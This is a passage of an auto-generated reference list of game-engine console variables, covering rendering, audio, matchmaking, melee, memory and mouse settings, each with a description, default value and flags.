+locator_background_shift_y + +How many pixels the background is shifted down. + +default: `"1"` +flags: `0x2` +
+
+locator_background_style + +Setting this to 1 will show rectangle backgrounds behind the items word-bubble pointers. + +default: `"0"` +flags: `0x2` +
+
+locator_background_thickness_x + +How many pixels the background borders the left and right. + +default: `"8"` +flags: `0x2` +
+
+locator_background_thickness_y + +How many pixels the background borders the top and bottom. + +default: `"0"` +flags: `0x2` +
+
+locator_fade_time + +Number of seconds it takes for a lesson to fully fade in/out. + +default: `"0.3"` +flags: `0x2` +
+
+locator_icon_max_size_non_ss + +Minimum scale of the icon on the screen + +default: `"2"` +flags: `0x2` +
+
+locator_icon_min_size_non_ss + +Minimum scale of the icon on the screen + +default: `"1.0"` +flags: `0x2` +
+
+locator_lerp_rest + +Number of seconds before moving from the center. + +default: `"2.25f"` +flags: `0x2` +
+
+locator_lerp_speed + +Speed that static lessons move along the Y axis. + +default: `"5.0f"` +flags: `0x2` +
+
+locator_lerp_time + +Number of seconds to lerp before reaching final destination + +default: `"1.75f"` +flags: `0x2` +
+
+locator_pulse_time + +Number of seconds to pulse after changing icon or position + +default: `"1.0f"` +flags: `0x2` +
+
+locator_split_len + + + +default: `"0.5f"` +flags: `0x4000` +
+
+locator_split_maxwide_percent + + + +default: `"0.80f"` +flags: `0x4000` +
+
+locator_start_at_crosshair + +Start position at the crosshair instead of the top middle of the screen. + +default: `"0"` +flags: `0x2` +
+
+locator_target_offset_x + +How many pixels to offset the locator from the target position. + +default: `"0"` +flags: `0x2` +
+
+locator_target_offset_y + +How many pixels to offset the locator from the target position. + +default: `"0"` +flags: `0x2` +
+
+locator_topdown_style + +Topdown games set this to handle distance and offscreen location differently. + +default: `"0"` +flags: `0x2` +
+
+lookspring + + + +default: `"0"` +flags: `0x80` +
+
+lookstrafe + + + +default: `"0"` +flags: `0x80` +
+
+m_acceleration + +Mouse acceleration. + +default: `"0"` +flags: `0x80` +
+
+m_forward + +Mouse forward factor. + +default: `"1.0"` +flags: `0x2` +
+
+m_invert_pitch + +Whether to invert the pitch axis of the mouse. + +default: `"0"` +flags: `0x1000000` +
+
+m_side + +Mouse side factor. + +default: `"1.0"` +flags: `0x2` +
+
+mainmenu_background_movie + + + +default: `"media/frontend.bik"` +flags: `0x2` +
+
+map_settings_override + +If this is enabled then the following ConVars will be functional and override the maps current value: fog_enable, mat_bloomscale + +default: `"0"` +flags: `0x40004002` +
+
+mat_autoexposure_compensation + +This works like exposure compensation on a camera, in EV units. 0EV is no compensation, -1EV gives half the light, +2EV gives 4x the light, etc. The exposure range is still subject to the min/max, so you might want to use mat_autoexposure_uncap 1. + +default: `"0"` +flags: `0x2` +
+
+mat_autoexposure_force_value + + + +default: `"0.0"` +flags: `0x40004000` +
+
+mat_autoexposure_max + + + +default: `"3"` +flags: `0x2` +
+
+mat_autoexposure_max_multiplier + + + +default: `"1.0"` +flags: `0x2` +
+
+mat_autoexposure_min + + + +default: `"0.5"` +flags: `0x2` +
+
+mat_autoexposure_min_multiplier + + + +default: `"1.0"` +flags: `0x2` +
+
+mat_autoexposure_speed + +Changes the speed at which exposure adapts to changes in scene luminance. + +default: `"0.1"` +flags: `0x2` +
+
+mat_autoexposure_uncap + +mat_autoexposure_min and mat_autoexposure_max are ignored when this is set. + +default: `"0"` +flags: `0x2` +
+
+mat_bloom_cutoff + + + +default: `"2.0"` +flags: `0x2` +
+
+mat_bloom_max_lighting_value + + + +default: `"5.0"` +flags: `0x4000` +
+
+mat_bloom_scalefactor_scalar + + + +default: `"0.1"` +flags: `0x80000` +
+
+mat_bloom_streak_amount + + + +default: `"0.0"` +flags: `0x2` +
+
+mat_bloom_streak_cutoff + + + +default: `"5.0f"` +flags: `0x2` +
+
+mat_bloom_streak_cutoff_exposure_adapt + +Whether streak cutoff value should scale with exposure values. R2 behavior is 0.0, R5 behavior is 1.0 + +default: `"0.0"` +flags: `0x2` +
+
+mat_bloom_streak_exponent_post + + + +default: `"1.0"` +flags: `0x2` +
+
+mat_bloom_streak_exponent_pre + + + +default: `"1.0f"` +flags: `0x2` +
+
+mat_bloom_wide_amount + + + +default: `"1.5"` +flags: `0x2` +
+
+mat_bloom_wide_exponent_pre + + + +default: `"1.5f"` +flags: `0x2` +
+
+mat_bloomamount_rate + + + +default: `"0.05f"` +flags: `0x4000` +
+
+mat_bloomscale + +map_settings_override MUST BE ENABLED FOR THIS TO BE FUNCTIONAL. + +default: `"1"` +flags: `0x2` +
+
+mat_checkStalls + +If true, flushes then syncs the render thread to the GPU at various spots of code to find hidden GPU stalls. + +default: `"0"` +flags: `0x4000` +
+
+mat_cloudmask + + + +default: `"1"` +flags: `0x2` +
+
+mat_colcorrection_disableentities + + + +default: `"0"` +flags: `0x2` +
+
+mat_colcorrection_disableentities + + + +default: `"0"` +flags: `0x2` +
+
+mat_colcorrection_disableentities + +Disable map color-correction entities + +default: `"0"` +flags: `0x2` +
+
+mat_colcorrection_editor + + + +default: `"0"` +flags: `0x2` +
+
+mat_colcorrection_editor + + + +default: `"0"` +flags: `0x2` +
+
+mat_colcorrection_forceentitiesclientside + +Forces color correction entities to be updated on the client + +default: `"0"` +flags: `0x4000` +
+
+mat_colorcorrection + + + +default: `"1"` +flags: `0x4002` +
+
+mat_debug_postprocess_allowed + +Allow postprocessing when debug views are enabled. + +default: `"0"` +flags: `0x2` +
+
+mat_debug_postprocessing_effects + +0 = off, 1 = show post-processing in top left corner of screen + +default: `"0"` +flags: `0x2` +
+
+mat_debug_tonemapping + + + +default: `"4"` +flags: `0x2` +
+
+mat_debug_tonemapping_disable + + + +default: `"0"` +flags: `0x2` +
+
+mat_debug_tonemapping_mid1 + + + +default: `"10.0"` +flags: `0x2` +
+
+mat_debug_tonemapping_mid2 + + + +default: `"1.5"` +flags: `0x2` +
+
+mat_debug_tonemapping_shoulder + + + +default: `"0.5"` +flags: `0x2` +
+
+mat_debug_tonemapping_toe + + + +default: `"0.3"` +flags: `0x2` +
+
+mat_debugalttab + + + +default: `"0"` +flags: `0x4000` +
+
+mat_depthbias_decal + +use integer value + +default: `"-16"` +flags: `0x4002` +
+
+mat_depthbias_normal + +use integer value + +default: `"0"` +flags: `0x4002` +
+
+mat_depthbias_shadowmap + +use integer value + +default: `"0"` +flags: `0x4002` +
+
+mat_depthbias_tightshadowmap + +use integer value. effective on View model selfshadow + +default: `"10000"` +flags: `0x4002` +
+
+mat_depthbias_ui + +use integer value + +default: `"-50"` +flags: `0x4002` +
+
+mat_depthbias_zfill + +use integer value + +default: `"16"` +flags: `0x4002` +
+
+mat_depthbiasclamp_decal + + + +default: `"-0.001"` +flags: `0x4002` +
+
+mat_depthbiasclamp_normal + + + +default: `"0"` +flags: `0x4002` +
+
+mat_depthbiasclamp_shadowmap + + + +default: `"0"` +flags: `0x4002` +
+
+mat_depthbiasclamp_ui + + + +default: `"-0.001"` +flags: `0x4002` +
+
+mat_depthbiasclamp_zfill + + + +default: `"0"` +flags: `0x4002` +
+
+mat_depthtest_force_disabled + +only works on PC and XB1 for now + +default: `"0"` +flags: `0x4002` +
+
+mat_detail_tex + + + +default: `"1"` +flags: `0x2` +
+
+mat_diffuse + + + +default: `"1"` +flags: `0x2` +
+
+mat_disable_bloom + + + +default: `"0"` +flags: `0x40000002` +
+
+mat_disable_lightmap_ambient + + + +default: `"0"` +flags: `0x4000` +
+
+mat_disable_lightmaps + + + +default: `"0"` +flags: `0x4000` +
+
+mat_disable_model_ambient + + + +default: `"0"` +flags: `0x4000` +
+
+mat_drawMenuGrid + +Enable menu grid guide overlay. Only accurate for 16:9 aspect ratio. + +default: `"0"` +flags: `0x2` +
+
+mat_drawTitleSafe + +Enable title safe overlay + +default: `"0"` +flags: `0x2` +
+
+mat_drawflat + + + +default: `"0"` +flags: `0x4000` +
+
+mat_dxlevel + + + +default: `"0"` +flags: `0x2` +
+
+mat_dynamic_tonemapping + + + +default: `"1"` +flags: `0x4000` +
+
+mat_dynamic_tonemapping + + + +default: `"1"` +flags: `0x4000` +
+
+mat_enable_ssr + +NOTE - UNABLE TO ENABLE - Toggle Screen Space Reflections. +If you want to use SSR again, uncomment the line with (1u << MTLENVOPT_SSR) in shader.cpp of bakery and then rebuild shaders. + +default: `"0"` +flags: `0x2` +max value: `1` +
+
+mat_envmap_scale + + + +default: `"1.0"` +flags: `0x2` +
+
+mat_envmap_scale + + + +default: `"1.0"` +flags: `0x2` +
+
+mat_envmaptgasize + +Final envmap size for "envmap" console command; should be <= 128. + +default: `"CUBEMAP_SCREENSHOT_RES"` +flags: `0x2` +
+
+mat_fastnobump + + + +default: `"0"` +flags: `0x4000` +
+
+mat_fastspecular + +Enable/Disable specularity for visual testing. Will not reload materials and will not affect perf. + +default: `"1"` +flags: `0x2` +
+
+mat_filterlightmaps + + + +default: `"1"` +flags: `0x2` +
+
+mat_filtertextures + + + +default: `"1"` +flags: `0x2` +
+
+mat_force_bloom + + + +default: `"0"` +flags: `0x4000` +
+
+mat_forceaniso + + + +default: `"2"` +flags: `0x40000000` +min value: `0` +max value: `16` +
+
+mat_frame_color_bias + +Add a constant value to the average frame color. + +default: `"0.0"` +flags: `0x2` +
+
+mat_frame_color_enabled + +Update the average frame color each frame. + +default: `"1"` +flags: `0x2` +
+
+mat_frame_color_scale + +Scale the average frame color. + +default: `"5.0"` +flags: `0x2` +
+
+mat_frame_color_spot_metering_screen_ratio + +Use a percentage of the screen around the center to compute the average frame color. + +default: `"0.8"` +flags: `0x2` +
+
+mat_fullbright + + + +default: `"0"` +flags: `0x4000` +
+
+mat_fxaa_enable + + + +default: `"0"` +flags: `0x2` +
+
+mat_global_lighting + + + +default: `"0"` +flags: `0x2` +
+
+mat_global_lighting + + + +default: `"0"` +flags: `0x2` +
+
+mat_global_lighting + + + +default: `"0"` +flags: `0x2` +
+
+mat_hdr_level + +Set to 0 for no HDR, 1 for LDR+bloom on HDR maps, and 2 for full HDR on HDR maps. + +default: `"2"` +flags: `0x2` +
+
+mat_hdrcolcorrection_editor + + + +default: `"0"` +flags: `0x2` +
+
+mat_hdrcolorcorrection + + + +default: `"1"` +flags: `0x2` +
+
+mat_hide_sun_in_last_cascade + + + +default: `"0"` +flags: `0x2` +
+
+mat_instancing + + + +default: `"1"` +flags: `0x2` +
+
+mat_letterbox_aspect_goal + +Letterbox when the window aspect ratio is below this threshold + +default: `"1.6"` +flags: `0x2` +
+
+mat_letterbox_aspect_threshold + +Letterbox when the window aspect ratio is below this threshold + +default: `"1.59"` +flags: `0x2` +
+
+mat_lightcull_subview + + + +default: `"0"` +flags: `0x2` +
+
+mat_lightcull_subviews + +Re-cull lighting for subviews (monitors etc.) + +default: `"0"` +flags: `0x4000` +
+
+mat_local_contrast_edge_scale_override + + + +default: `"-1000.0"` +flags: `0x2` +
+
+mat_local_contrast_midtone_mask_override + + + +default: `"-1.0"` +flags: `0x2` +
+
+mat_local_contrast_scale_override + + + +default: `"0.0"` +flags: `0x2` +
+
+mat_local_contrast_vignette_end_override + + + +default: `"-1.0"` +flags: `0x2` +
+
+mat_local_contrast_vignette_start_override + + + +default: `"-1.0"` +flags: `0x2` +
+
+mat_materialmip_character_0 + + + +default: `"0 0 0 0"` +flags: `0x2` +
+
+mat_materialmip_character_1 + + + +default: `"0 0 1 1"` +flags: `0x2` +
+
+mat_materialmip_character_2 + + + +default: `"1 0 1 1"` +flags: `0x2` +
+
+mat_materialmip_character_3 + + + +default: `"1 1 2 2"` +flags: `0x2` +
+
+mat_materialmip_character_4 + + + +default: `"3 3 3 3"` +flags: `0x2` +
+
+mat_materialmip_cockpit_0 + + + +default: `"0 0 0 0"` +flags: `0x2` +
+
+mat_materialmip_cockpit_1 + + + +default: `"0 0 0 0"` +flags: `0x2` +
+
+mat_materialmip_cockpit_2 + + + +default: `"0 0 0 0"` +flags: `0x2` +
+
+mat_materialmip_cockpit_3 + + + +default: `"1 0 0 1"` +flags: `0x2` +
+
+mat_materialmip_cockpit_4 + + + +default: `"3 3 3 3"` +flags: `0x2` +
+
+mat_materialmip_model_0 + + + +default: `"0 0 0 0"` +flags: `0x2` +
+
+mat_materialmip_model_1 + + + +default: `"1 0 1 1"` +flags: `0x2` +
+
+mat_materialmip_model_2 + + + +default: `"1 1 1 1"` +flags: `0x2` +
+
+mat_materialmip_model_3 + + + +default: `"1 1 2 2"` +flags: `0x2` +
+
+mat_materialmip_model_4 + + + +default: `"3 3 3 3"` +flags: `0x2` +
+
+mat_materialmip_other_0 + + + +default: `"0 0 0 0"` +flags: `0x2` +
+
+mat_materialmip_other_1 + + + +default: `"1 1 1 1"` +flags: `0x2` +
+
+mat_materialmip_other_2 + + + +default: `"1 1 1 1"` +flags: `0x2` +
+
+mat_materialmip_other_3 + + + +default: `"1 1 1 1"` +flags: `0x2` +
+
+mat_materialmip_other_4 + + + +default: `"3 3 3 3"` +flags: `0x2` +
+
+mat_materialmip_world_0 + + + +default: `"0 0 0 0"` +flags: `0x2` +
+
+mat_materialmip_world_1 + + + +default: `"0 0 1 1"` +flags: `0x2` +
+
+mat_materialmip_world_2 + + + +default: `"0 1 1 1"` +flags: `0x2` +
+
+mat_materialmip_world_3 + + + +default: `"1 1 2 2"` +flags: `0x2` +
+
+mat_materialmip_world_4 + + + +default: `"3 3 3 3"` +flags: `0x2` +
+
+mat_maxframelatency + + + +default: `"1"` +flags: `0x2` +
+
+mat_mip_linear + + + +default: `"1"` +flags: `0x40000000` +
+
+mat_mipmaptextures + + + +default: `"1"` +flags: `0x2` +
+
+mat_norendering + + + +default: `"0"` +flags: `0x4000` +
+
+mat_norendering + + + +default: `"0"` +flags: `0x4000` +
+
+mat_phong + + + +default: `"1"` +flags: `0x2` +
+
+mat_picmip + + + +default: `"0"` +flags: `0x40000000` +min value: `0` +max value: `4` +
+
+mat_postprocess_enable + + + +default: `"1"` +flags: `0x4000` +
+
+mat_postprocess_enable + + + +default: `"1"` +flags: `0x4000` +
+
+mat_proxy + + + +default: `"0"` +flags: `0x4000` +
+
+mat_reducefillrate + + + +default: `"0"` +flags: `0x2` +
+
+mat_report_queue_status + + + +default: `"0"` +flags: `0x800002` +
+
+mat_reversedepth + + + +default: `"0"` +flags: `0x4000` +
+
+mat_screen_blur_enabled + +Enables screen blur render step + +default: `"1"` +flags: `0x2` +
+
+mat_screen_blur_override + + + +default: `"-1.0"` +flags: `0x2` +
+
+mat_shadowstate + + + +default: `"1"` +flags: `0x2` +
+
+mat_sharpen_amount + + + +default: `"1.0"` +flags: `0x2` +
+
+mat_sharpen_threshold + + + +default: `"0.5"` +flags: `0x2` +
+
+mat_sharpen_width + + + +default: `"1.0"` +flags: `0x2` +
+
+mat_show_texture_memory_usage + +Display the texture memory usage on the HUD. + +default: `"0"` +flags: `0x5000` +
+
+mat_showenvmapmask + + + +default: `"0"` +flags: `0x2` +
+
+mat_showlowresimage + + + +default: `"0"` +flags: `0x4000` +
+
+mat_showmiplevels + +color-code miplevels 2: normalmaps, 1: everything else + +default: `"0"` +flags: `0x4000` +
+
+mat_skipid + +Don't draw a particular mesh id. Helps track down which mesh you care about. + +default: `"-1"` +flags: `0x4000` +
+
+mat_sky_color + +forces the color of sky ambient; the alpha value of 0 means no override. + +default: `"0.0 0.0 0.0 0.0"` +flags: `0x4000` +
+
+mat_sky_scale + +scales all sky ambient light by a constant factor + +default: `"1.0"` +flags: `0x4000` +
+
+mat_slopescaledepthbias_decal + + + +default: `"-4"` +flags: `0x4002` +
+
+mat_slopescaledepthbias_normal + + + +default: `"0.0f"` +flags: `0x4002` +
+
+mat_slopescaledepthbias_shadowmap + + + +default: `"2"` +flags: `0x4002` +
+
+mat_slopescaledepthbias_ui + + + +default: `"-1.7"` +flags: `0x4002` +
+
+mat_slopescaledepthbias_zfill + + + +default: `"2"` +flags: `0x4002` +
+
+mat_sun_color + +forces the color of the sun directional light; the alpha value of 0 means no override. + +default: `"0.0 0.0 0.0 0.0"` +flags: `0x4000` +
+
+mat_sun_scale + +scales all sun direct light by a constant factor + +default: `"1.0"` +flags: `0x40004000` +
+
+mat_surfacefilter + +If set, limits surfaces shown by mat_surfaceid and mat_surfacemat to those containing the substring. + +default: `""` +flags: `0x4000` +
+
+mat_surfaceid + +Draws the index of world surfaces. Can be filtered with mat_surfacefilter. + +default: `"0"` +flags: `0x4000` +
+
+mat_surfacemat + +Draws the material name of world surfaces. Can be filtered with mat_surfacefilter. + +default: `"0"` +flags: `0x4000` +
+
+mat_syncGPU + +If true, syncs the render thread to the GPU at the end of each frame, instead of letting the render thread get one frame ahead. + +default: `"0"` +flags: `0x4000` +
+
+mat_syncInterval + +Number of frames to skip per sync. 0 = novsync, 1 = 60 fps, 2 = 30, 3 == 20, 4 = 15, etc. + +default: `"1"` +flags: `0x2` +
+
+mat_sync_rt + +Sync the render thread after each queued call. This is really slow, but makes debugging much easier. + +default: `"0"` +flags: `0x4000` +
+
+mat_sync_rt_flushes_gpu + + + +default: `"0"` +flags: `0x2` +
+
+mat_texture_list + +For debugging, show a list of used textures per frame + +default: `"0"` +flags: `0x2` +
+
+mat_texture_list_view + +If this is nonzero, then the texture list panel will render thumbnails of currently-loaded textures. + +default: `"1"` +flags: `0x1002` +
+
+mat_translucency_errors + + + +default: `"0"` +flags: `0x2` +
+
+mat_vignette_enable + + + +default: `"0"` +flags: `0x2` +
+
+mat_warn_texture_convert + +Print warnings for textures that had to be converted at load time, slowing down loads. 0 = off, 1 = old size not smaller, 2 = any change + +default: `"0"` +flags: `0x2` +
+
+match_backingOutMaxTimeToWait + + + +default: `"60"` +flags: `0x2` +
+
+match_backoutslow + +Forces empty server queries (for backing out of a lobby) to take this long + +default: `"0"` +flags: `0x2` +
+
+match_connect + +If set to 0, we won't actually connect to any matchmaking results we get back + +default: `"1"` +flags: `0x2` +
+
+match_defaultMap_party + +Default map to load if the dedicated server is empty + +default: `"mp_lobby"` +flags: `0x2` +
+
+match_dir + +What dir to look in for the matchmaking scripts + +default: `""` +flags: `0x2` +
+
+match_dumpSearchResults + +Dumps search result text to the console + +default: `"0"` +flags: `0x2` +
+
+match_emptyUpdateRate + + + +default: `"30"` +flags: `0x2` +
+
+match_enabled + + + +default: `"1"` +flags: `0x2` +
+
+match_fakePort + +Lie about our port number (so players can't connect) + +default: `"-1"` +flags: `0x2` +
+
+match_fakeS2SPort + +Lie about our s2s port number (so servers can't connect) + +default: `"-1"` +flags: `0x2` +
+
+match_forceVerboseSearches + + + +default: `"0"` +flags: `0x2` +
+
+match_goodReputation + + + +default: `"1"` +flags: `0x80000202` +
+
+match_maxPingsSent + + + +default: `"50"` +flags: `0x2` +
+
+match_myBestDatacenter + +Which datacenter we have the lowest ping to + +default: `""` +flags: `0x80080200` +
+
+match_myDatacenter + +Which datacenter we prefer (same as match_myBestDatacenter unless user changes it) + +default: `""` +flags: `0x80080200` +
+
+match_myRankedDatacenter + +Which datacenter we prefer for Ranked play (same as match_myBestDatacenter unless user changes it) + +default: `""` +flags: `0x80080200` +
+
+match_myTeam + + + +default: `"0"` +flags: `0x200` +
+
+match_partyChangeNum + +The int that represents the change num of our party struct (did it change?) + +default: `""` +flags: `0x200` +
+
+match_partySize + +The size of our party + +default: `""` +flags: `0x200` +
+
+match_partySub + +The name of our party subscription + +default: `""` +flags: `0x200` +
+
+match_pingWaveInterval + + + +default: `"0.2"` +flags: `0x2` +
+
+match_playlist + +The playlist we are looking for + +default: `""` +flags: `0x80200` +
+
+match_precachemap + +Whether to precache the map for the selected playlist + +default: `"1"` +flags: `0x2002` +
+
+match_privateMatchListWithStryder + + + +default: `"1"` +flags: `0x2` +
+
+match_rankedMaxPing + + + +default: `"200"` +flags: `0x2002` +
+
+match_rankedSwitchETA + + + +default: `"300"` +flags: `0x2002` +
+
+match_resetPlaylistBetweenMatches + + + +default: `"1"` +flags: `0x2` +
+
+match_roleToken + +The role token used when matchmaking (e.g. for private match). + +default: `""` +flags: `0x80200` +
+
+match_searchInterval + +How often to repeat searches + +default: `"2"` +flags: `0x80000` +
+
+match_searching + +Whether or not we want the system to be actively searching right now + +default: `"0"` +flags: `0x80200` +
+
+match_teamNoFill + +If set, matchmaking won't fill the player's team with non-party members + +default: `"0"` +flags: `0x80200` +
+
+match_updateNotableRate + + + +default: `"5"` +flags: `0x2` +
+
+match_updateRate + + + +default: `"30"` +flags: `0x2` +
+
+match_useMatchmaking + +This dedi is a matchmaking dedi + +default: `"0"` +flags: `0x2` +
+
+match_verbosePrintsInterval + + + +default: `"60"` +flags: `0x2` +
+
+match_visiblePlaylists + + + +default: `""` +flags: `0x2002` +
+
+matchmaking_hostname + + + +default: `""` +flags: `0x80000` +
+
+max_explosive_damage_mass + +Anything heavier than this will be clamped. (units kg) + +default: `"100"` +flags: `0x2002` +
+
+max_explosive_damage_velocity + +inches/sec + +default: `"200"` +flags: `0x2002` +
+
+max_tweak_shadow_updates + + + +default: `"8"` +flags: `0x2` +
+
+melee_aim_assist_can_lock_pitch + + + +default: `"0"` +flags: `0x2002` +
+
+melee_aim_assist_use_target_velocity + + + +default: `"0"` +flags: `0x2002` +
+
+melee_attack_trace_can_use_lunge_distance + + + +default: `"0.5"` +flags: `0x2002` +
+
+melee_cone_trace_box_check + + + +default: `"0.5"` +flags: `0x2002` +
+
+melee_lunge_abort_distance + +Abort the lunge if the distance moved in one frame is less than this much of the expected lunge distance. + +default: `"0.25"` +flags: `0x2002` +
+
+melee_lunge_abort_if_blocked + +Lunging can abort if the player hits something that blocks their lunge movement. + +default: `"1"` +flags: `0x2002` +
+
+melee_lunge_adjust_trace_distance + + + +default: `"0"` +flags: `0x2002` +
+
+melee_lunge_align_eye_position + + + +default: `"1"` +flags: `0x2002` +
+
+melee_lunge_dot_check + + + +default: `"1"` +flags: `0x2002` +
+
+melee_lunge_force_enable_flying + +Lunging will always ignore gravity. + +default: `"1"` +flags: `0x2002` +
+
+melee_lunge_lag_compensate_target + +Lunging will apply lag compensation the target's position. + +default: `"1"` +flags: `0x2002` +
+
+melee_lunge_scale_by_speed + +Increase lunge range (by up to the given scale) if the player is going fast enough. + +default: `"2.0"` +flags: `0x2002` +
+
+melee_lunge_slide + +When lunging, try slide along surfaces + +default: `"1"` +flags: `0x2002` +
+
+melee_lunge_use_closest_distance_between_cylinders + +When calculating distance to the lunge target, treat them as cylinders rather than points. + +default: `"1"` +flags: `0x2002` +
+
+melee_lunge_use_command_time + + + +default: `"1"` +flags: `0x2002` +
+
+melee_queue_attack_anim_event + +Run melee attacks after the player has moved this frame + +default: `"1"` +flags: `0x2002` +
+
+mem_dumpstats + +Dump current and max heap usage info to console at end of frame ( set to 2 for continuous output ) + + +default: `"0"` +flags: `0x2` +
+
+mem_force_flush + +Force cache flush of unlocked resources on every alloc + +default: `"0"` +flags: `0x2` +
+
+mem_force_flush_section + +Cache section to restrict mem_force_flush + +default: `""` +flags: `0x2` +
+
+mem_incremental_compact_rate + +Rate at which to attempt internal heap compaction + +default: `".5"` +flags: `0x4000` +
+
+mem_level + +Memory Level - Default: High + +default: `"2"` +flags: `0x2` +
+
+mem_level + +Memory Level - Default: High + +default: `"2"` +flags: `0x2` +
+
+mem_max_heapsize + +Maximum amount of memory to dedicate to engine hunk and datacache (in mb) + +default: `"1024"` +flags: `0x2` +
+
+mem_max_heapsize_dedicated + +Maximum amount of memory to dedicate to engine hunk and datacache, for dedicated server (in mb) + +default: `"64"` +flags: `0x2` +
+
+mem_min_heapsize + +Minimum amount of memory to dedicate to engine hunk and datacache (in mb) + +default: `"48"` +flags: `0x2` +
+
+mem_runheapchecks + + + +default: `"0"` +flags: `0x2` +
+
+mem_test_each_frame + +Run heap check at end of every frame + + +default: `"0"` +flags: `0x2` +
+
+mem_test_every_n_seconds + +Run heap check at a specified interval + + +default: `"0"` +flags: `0x2` +
+
+mem_test_quiet + +Don't print stats when memtesting + +default: `"0"` +flags: `0x2` +
+
+menu_faq_community_version + + + +default: `"-1"` +flags: `0x1000000` +
+
+menu_faq_patchnotes_version + + + +default: `"-1"` +flags: `0x1000000` +
+
+menu_faq_viewed + + + +default: `"0"` +flags: `0x1000000` +
+
+menu_was_multiplayer_played_last + + + +default: `"0"` +flags: `0x1000000` +
+
+migrate_attempt_interval + + + +default: `"2.5"` +flags: `0x2` +
+
+migrate_attempt_max_retries + + + +default: `"5"` +flags: `0x2` +
+
+miles_actor_occlusion_radius + +Distance which must be penetrated for one of the entity check points to be considered occluded. + +default: `"8.0"` +flags: `0x2` +
+
+miles_channels + +Number of audio channels, commonly 2(stereo), 6(5.1), 8(7.1). (0 is default) + +default: `"0"` +flags: `0x40000000` +
+
+miles_flip_active_window_logic + +Only hear audio when NOT the active window. + +default: `"0"` +flags: `0x2002` +
+
+miles_force_emitter_environment + +Force Environment on played sounds and entities (per-event controllers and suffixes.) + +default: `""` +flags: `0x2` +
+
+miles_force_listener_environment + +Force environment on listener (i.e., global controller changes only) + +default: `""` +flags: `0x2` +
+
+miles_freeze + +When 1, sound is paused and incoming play events are ignored. + +default: `"0"` +flags: `0x2` +
+
+miles_initial_occlusion_delay + +Time (in msec) to delay new sounds when we defer their traces. + +default: `"0"` +flags: `0x2` +
+
+miles_language + +Language to use for audio (requires a miles restart to change.) + +default: `""` +flags: `0x1000000` +
+
+miles_listener_freeze + +When 1, stop updating listener position. + +default: `"0"` +flags: `0x2` +
+
+miles_nonactor_occlusion + +Do traces to determine when non-entity sounds are occluded. + +default: `"1"` +flags: `0x2` +
+
+miles_nonactor_occlusion_radius + +Distance which must be penetrated for a non-entity sound to be considered occluded. + +default: `"8.0"` +flags: `0x2` +
+
+miles_nopandist + +Distance at which panning is forced to center-front. + +default: `"10"` +flags: `0x2` +
+
+miles_occlusion + +When nonzero, perform occlusion checks + +default: `"1"` +flags: `0x1000000` +
+
+miles_occlusion_force + +0 to 100: Force all sounds to have occlusion values of 0 (unoccluded) to 100 (completely occluded). -1 for normal. + +default: `"-1"` +flags: `0x2` +
+
+miles_occlusion_partial + +When zero, occlusion state is binary. When nonzero, allow partial occlusion of audio. + +default: `"1"` +flags: `0x2` +
+
+miles_occlusion_use_reset_after_deferred_initial + +For A/B testing feature. Enable permanently eventually. + +default: `"1"` +flags: `0x2` +
+
+miles_samplerate + +Sample rate, commonly 48000, 44100, 22050, or 11025 (0 is default) + +default: `"0"` +flags: `0x2` +
+
+miles_server_sounds_debug + + + +default: `"0"` +flags: `0x2` +
+
+miles_server_sounds_print + + + +default: `"0"` +flags: `0x2` +
+
+miles_solo_ents + +Only play sounds from this entity index (or space-separated list of indices.) + +default: `""` +flags: `0x2` +
+
+miles_soundscape_imgui + +Show imgui-based soundscape debugging window + +default: `"0"` +flags: `0x2` +
+
+miles_spatialize_front_degrees + +Front panning field angle + +default: `"45.0"` +flags: `0x2` +
+
+miles_spatialize_offplane_strength + +Offplane omni-fication strength + +default: `"0.7"` +flags: `0x2` +
+
+miles_spatialize_on + +Enable hard spatialization test + +default: `"1"` +flags: `0x2` +
+
+miles_spatialize_rear_degrees + +Rear panning field angle + +default: `"120.0"` +flags: `0x2` +
+
+miles_suffixes + +Use emitter suffixed versions of sounds. + +default: `"1"` +flags: `0x2` +
+
+min_explosive_damage_mass + +Anything lighter than this will be clamped. (units kg) + +default: `"20"` +flags: `0x2002` +
+
+missile_default_speed + + + +default: `"2500"` +flags: `0x2002` +
+
+missile_homing_speed + + + +default: `"150"` +flags: `0x2002` +
+
+mod_trace_load + + + +default: `"0"` +flags: `0x2` +
+
+model_defaultFadeDistMin + +Default minimum fade distance. + +default: `"400"` +flags: `0x4000` +
+
+model_defaultFadeDistMin + +Default minimum fade distance. + +default: `"400"` +flags: `0x4000` +
+
+model_defaultFadeDistScale + +Factor that is multiplied by the model's radius to get the default fade distance. + +default: `"40"` +flags: `0x4000` +
+
+model_defaultFadeDistScale + +Factor that is multiplied by the model's radius to get the default fade distance. + +default: `"40"` +flags: `0x4000` +
+
+model_fadeRangeFraction + +Fraction of the fade distance to fade over. + +default: `"0.1"` +flags: `0x4000` +
+
+model_fadeRangeFractionNear + +Fraction of the near fade distance at which impostors are invisible. + +default: `"0.9"` +flags: `0x4000` +
+
+monitor_cc + + + +default: `"1"` +flags: `0x2` +
+
+monitor_mat_sharpen_amount + + + +default: `"2.0"` +flags: `0x2` +
+
+monitor_postfx + + + +default: `"1"` +flags: `0x2` +
+
+monitor_rui_world_enabled + + + +default: `"0"` +flags: `0x2` +
+
+monitor_snapshot_frame_delay + + + +default: `"20"` +flags: `0x2` +
+
+monitor_zfar_default + + + +default: `"642"` +flags: `0x2` +
+
+monitor_zfar_override + + + +default: `"0"` +flags: `0x2` +
+
+monitor_zfar_override_enabled + + + +default: `"0"` +flags: `0x2` +
+
+motd + + + +default: `""` +flags: `0x12` +
+
+mouse_sensitivity + +Mouse sensitivity. + +default: `"5"` +flags: `0x80` +min value: `0.1` +max value: `20` +
+
+mouse_use_per_scope_sensitivity_scalars + +Uses the per scope scalars + +default: `"0"` +flags: `0x80` +
+
+mouse_zoomed_sensitivity_scalar_0 + +Mouse sensitivity. + +default: `"1.0"` +flags: `0x80` +min value: `0.1` +max value: `20` +
+
+mouse_zoomed_sensitivity_scalar_1 + +Mouse sensitivity. + +default: `"1.0"` +flags: `0x80` +min value: `0.1` +max value: `20` +
+
+mouse_zoomed_sensitivity_scalar_2 + +Mouse sensitivity. + +default: `"1.0"` +flags: `0x80` +min value: `0.1` +max value: `20` +
+
+mouse_zoomed_sensitivity_scalar_3 + +Mouse sensitivity. + +default: `"1.0"` +flags: `0x80` +min value: `0.1` +max value: `20` +
+
+mouse_zoomed_sensitivity_scalar_4 + +Mouse sensitivity. + +default: `"1.0"` +flags: `0x80` +min value: `0.1` +max value: `20` +
+
